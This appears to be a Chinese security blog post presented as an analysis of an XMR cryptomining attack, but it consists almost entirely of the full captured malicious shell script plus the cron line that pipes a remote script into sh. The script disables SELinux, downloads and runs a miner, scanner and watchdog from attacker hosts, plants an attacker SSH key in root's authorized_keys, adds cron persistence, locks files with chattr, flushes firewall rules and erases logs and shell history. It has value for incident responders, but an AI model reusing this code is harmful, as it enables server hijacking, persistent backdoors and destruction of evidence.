XMR 恶意挖矿脚本分析

发表于 更新于 阅读次数： 评论数： 本文字数： 64 阅读时长 ≈ 1 分钟

XMR 恶意挖矿脚本样本源码一

记录于 2019-07-26，攻击者将挖矿脚本的下载与执行命令写入到 Redis 服务器中，具体内容如下：

1
"*/1 * * * * curl -fsSL http://185.18.105.23/E5DB0E07C3D7BE80V520/init.sh |sh"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
#!/bin/sh

setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.18.105.23/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.18.105.23/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.18.105.23/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.18.105.23/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.18.105.23/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"

kill_miner_proc()
{
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f systemctI
    pkill -f WmiPrwSe
	    pkill -f sysguard
		    pkill -f sysupdate
			    pkill -f networkservice
    crontab -r
    rm -rf /var/spool/cron/*
}
downloads()
{
    if [ -f "/usr/bin/curl" ]
    then
	echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/cur" ]
    then
        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        else
            cur --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
	then
		wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/wge" ]
    then
        wge --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            wge --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

kill_miner_proc
kill_sus_proc

if [ -f "$rtdir" ]
then
        echo "i am root"
        echo "goto 1" >> /etc/sysupdate
        chattr -i /etc/sysupdate*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
	    chattr -i /etc/networkservice
	if [ ! -f "/usr/bin/crontab" ]
		then
			echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
		else
			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
	fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPmwqXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys


        cfg="/etc/config.json"
        file="/etc/sysupdate"

	if [-f "/etc/config.json" ]
	then
		filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
		if [ "$filesize_config" -ne "$config_size" ]
		then
            pkill -f sysupdate
			rm /etc/config.json
            downloads $config_url /etc/config.json $config_url_backup
		else
			echo "no need download"
		fi
	else
		downloads $config_url /etc/config.json $config_url_backup
    fi

    if [ -f "/etc/sysupdate" ]
    then
            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ]
            then
                pkill -f sysupdate
                rm /etc/sysupdate
                downloads $miner_url /etc/sysupdate $miner_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $miner_url /etc/sysupdate $miner_url_backup
    fi

    if [ -f "/etc/sysguard" ]
    then
            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ]
            then
                pkill -f sysguard
                rm /etc/sysguard
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /etc/sysguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/update.sh $sh_url_backup

    if [ -f "/etc/networkservice" ]
    then
            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ]
            then
                pkill -f networkservice
                rm /etc/networkservice
                downloads  $scan_url /etc/networkservice $scan_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $scan_url /etc/networkservice $scan_url_backup
    fi

    chmod 777 /etc/sysupdate
    ps -fe|grep sysupdate |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not root runing"
                sleep 5s
                ./sysupdate &
    else
                echo "root runing....."
    fi
	chmod 777 /etc/networkservice
    ps -fe|grep networkservice |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not roots runing"
                sleep 5s
                ./networkservice &
    else
                echo "roots runing....."
    fi
    chmod 777 /etc/sysguard
    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /etc
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "roots runing....."
        fi


    chmod 777 /etc/sysupdate
    chattr +i /etc/sysupdate
	chmod 777 /etc/networkservice
	chattr +i /etc/networkservice
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/update.sh
    chattr +i /etc/update.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys
else
    echo "goto 1" > /tmp/sysupdates
    chattr -i /tmp/sysupdate*
	chattr -i /tmp/networkservice
    chattr -i /tmp/config.json*
    chattr -i /tmp/update.sh*

    if [ ! -f "/usr/bin/crontab" ]
	then
			echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
	else
			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
	fi

	if [ -f "/tmp/config.json" ]
	then
		filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
		if [ "$filesize1" -ne "$config_size" ]
		then
            pkill -f sysupdate
			rm /tmp/config.json
            downloads  $config_url /tmp/config.json $config_url_backup
		else
			echo "no need download"
		fi
	else
		downloads $config_url /tmp/config.json $config_url_backup
	fi

    if [ -f "/tmp/sysupdate" ]
    then
        filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
        if [ "$filesize1" -ne "$miner_size" ]
        then
                pkill -f sysupdate
                rm /tmp/sysupdate
                downloads $miner_url /tmp/sysupdate $miner_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $miner_url /tmp/sysupdate $miner_url_backup
    fi

    if [ -f "/tmp/sysguard" ]
    then
            filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ]
            then
                pkill -f sysguard
                rm /tmp/sysguard
                downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
    fi

    echo "i am here"
    downloads $sh_url /tmp/update.sh $sh_url_backup

    if [ -f "/tmp/networkservice" ]
    then
        filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
        if [ "$filesize2" -ne "$scan_size" ]
        then
                pkill -f networkservice
	            rm /tmp/networkservice
                downloads $scan_url /tmp/networkservice $scan_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $scan_url /tmp/networkservice $scan_url_backup
    fi

    ps -fe|grep sysupdate |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmp runing"
                cd /tmp
                chmod 777 sysupdate
                sleep 5s
                ./sysupdate &
            else
                echo "tmp runing....."
        fi
	ps -fe|grep networkservice |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 networkservice
                sleep 5s
                ./networkservice &
            else
                echo "tmps runing....."
        fi

    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "tmps runing....."
        fi

    chmod 777 /tmp/sysupdate
    chattr +i /tmp/sysupdate
	chmod 777 /tmp/networkservice
	chattr +i /tmp/networkservice
	chmod 777 /tmp/sysguard
	chattr +i /tmp/sysguard
    chmod 777 /tmp/update.sh
    chattr +i /tmp/update.sh
    chmod 777 /tmp/config.json
    chattr +i /tmp/config.json

fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history